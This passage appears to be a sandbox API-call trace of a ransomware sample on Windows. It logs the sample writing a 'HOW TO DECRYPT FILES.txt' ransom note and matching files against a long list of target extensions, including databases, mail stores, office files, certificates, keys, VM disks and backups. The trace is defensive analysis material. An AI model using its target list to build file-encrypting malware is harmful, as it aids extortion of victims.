returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\HOW TO DECRYPT FILES.txt" [0102.931] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\319ab5fb21ce36292e0c1c9e07010a3c\\how to decrypt files.txt")) returned 0xffffffff [0102.931] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\319ab5fb21ce36292e0c1c9e07010a3c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0102.934] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0102.936] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0102.936] CloseHandle (hObject=0x90) returned 1 [0102.937] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\", lpString2="Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll" [0102.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0102.937] lstrlenA (lpString="*.ems") returned 5 [0102.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.db") returned 0 [0102.937] lstrlenA (lpString="*.db") returned 4 [0102.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0102.937] lstrlenA (lpString="*.dbf") returned 5 [0102.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0102.937] lstrlenA (lpString="*.myox") returned 6 [0102.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0102.937] lstrlenA (lpString="*.myo") returned 5 [0102.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0102.937] lstrlenA (lpString="*.qbw") returned 5 [0102.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0102.937] lstrlenA (lpString="*.qbb") returned 5 [0102.937] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0102.937] lstrlenA (lpString="*.qbm") returned 5 [0102.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0102.938] lstrlenA (lpString="*.qbo") returned 5 [0102.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0102.938] lstrlenA (lpString="*.qbx") returned 5 [0102.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0102.938] lstrlenA (lpString="*.qba") returned 5 [0102.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0102.938] lstrlenA (lpString="*.qby") returned 5 [0102.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0102.938] lstrlenA (lpString="*.qbj") returned 5 [0102.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0102.938] lstrlenA (lpString="*.ofx") returned 5 [0102.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0102.938] lstrlenA (lpString="*.qif") returned 5 [0102.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0102.938] lstrlenA (lpString="*.mye") returned 5 [0102.938] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0102.939] lstrlenA (lpString="*.mbox") returned 6 [0102.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.939] lstrlenA (lpString="*.eml") returned 5 [0102.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0102.939] lstrlenA (lpString="*.pst") returned 5 [0102.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0102.939] lstrlenA (lpString="*.ost") returned 5 [0102.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0102.939] lstrlenA (lpString="*.idx") returned 5 [0102.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0102.939] lstrlenA (lpString="*.dbx") returned 5 [0102.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0102.939] lstrlenA (lpString="*.sql") returned 5 [0102.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0102.939] lstrlenA (lpString="*.mdb") returned 5 [0102.939] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0102.940] lstrlenA (lpString="*.fdb") returned 5 [0102.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0102.940] lstrlenA (lpString="*.wab") returned 5 [0102.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0102.940] lstrlenA (lpString="*.dat") returned 5 [0102.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0102.940] lstrlenA (lpString="*.txt") returned 5 [0102.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0102.940] lstrlenA (lpString="*.jpeg") returned 6 [0102.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0102.940] lstrlenA (lpString="*.jpg") returned 5 [0102.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.png") returned 0 [0102.940] lstrlenA (lpString="*.png") returned 5 [0102.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.php") returned 0 [0102.940] lstrlenA (lpString="*.php") returned 5 [0102.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0102.940] lstrlenA (lpString="*.cs") returned 4 [0102.940] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0102.941] lstrlenA (lpString="*.cpp") returned 5 [0102.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0102.941] lstrlenA (lpString="*.rar") returned 5 [0102.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0102.941] lstrlenA (lpString="*.zip") returned 5 [0102.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.html") returned 0 [0102.941] lstrlenA (lpString="*.html") returned 6 [0102.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0102.941] lstrlenA (lpString="*.htm") returned 5 [0102.941] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0102.941] lstrlenA (lpString="*.xlsx") returned 6 [0102.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0102.942] lstrlenA (lpString="*.xls") returned 5 [0102.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0102.942] lstrlenA (lpString="*.mp4") returned 5 [0102.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0102.942] lstrlenA (lpString="*.ppt") returned 5 [0102.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0102.942] lstrlenA (lpString="*.pptx") returned 6 [0102.942] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0102.943] lstrlenA (lpString="*.doc") returned 5 [0102.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0102.943] lstrlenA (lpString="*.dot") returned 5 [0102.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0102.943] lstrlenA (lpString="*.docx") returned 6 [0102.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0102.943] lstrlenA (lpString="*.7z") returned 4 [0102.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0102.943] lstrlenA (lpString="*.tar") returned 5 [0102.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0102.943] lstrlenA (lpString="*.bz2") returned 5 [0102.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0102.943] lstrlenA (lpString="*.gz") returned 4 [0102.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0102.943] lstrlenA (lpString="*.mkv") returned 5 [0102.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.943] lstrlenA (lpString="*.eml") returned 5 [0102.943] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0102.943] lstrlenA (lpString="*.msg") returned 5 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0102.944] lstrlenA (lpString="*.edb") returned 5 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0102.944] lstrlenA (lpString="*.accdb") returned 7 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0102.944] lstrlenA (lpString="*.odb") returned 5 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.java") returned 0 [0102.944] lstrlenA (lpString="*.java") returned 6 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0102.944] lstrlenA (lpString="*.asm") returned 5 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0102.944] lstrlenA (lpString="*.pfx") returned 5 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0102.944] lstrlenA (lpString="*.pem") returned 5 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0102.944] lstrlenA (lpString="*.p12") returned 5 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0102.944] lstrlenA (lpString="*.gpg") returned 5 [0102.944] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0102.945] lstrlenA (lpString="*.vsd") returned 5 [0102.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0102.945] lstrlenA (lpString="*.odg") returned 5 [0102.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0102.945] lstrlenA (lpString="*.raw") returned 5 [0102.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0102.945] lstrlenA (lpString="*.nef") returned 5 [0102.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0102.945] lstrlenA (lpString="*.svg") returned 5 [0102.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0102.945] lstrlenA (lpString="*.psd") returned 5 [0102.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0102.945] lstrlenA (lpString="*.vmx") returned 5 [0102.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0102.945] lstrlenA (lpString="*.vmdk") returned 6 [0102.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0102.945] lstrlenA (lpString="*.vdi") returned 5 [0102.945] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0102.946] lstrlenA (lpString="*.lay6") returned 6 [0102.946] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0102.946] lstrlenA (lpString="*.mpeg") returned 6 [0102.946] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0102.946] lstrlenA (lpString="*.djvu") returned 6 [0102.946] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0102.946] lstrlenA (lpString="*.tiff") returned 6 [0102.946] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0102.946] lstrlenA (lpString="*.backup") returned 8 [0102.946] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0102.946] lstrlenA (lpString="*.pdf") returned 5 [0102.946] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0102.946] lstrlenA (lpString="*.cert") returned 6 [0102.946] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0102.946] lstrlenA (lpString="*.docm") returned 6 [0102.946] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\319ab5fb21ce36292e0c1c9e07010a3c\\Microsoft.VisualStudio.Tools.Office.ContainerControl.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0102.946] lstrlenA 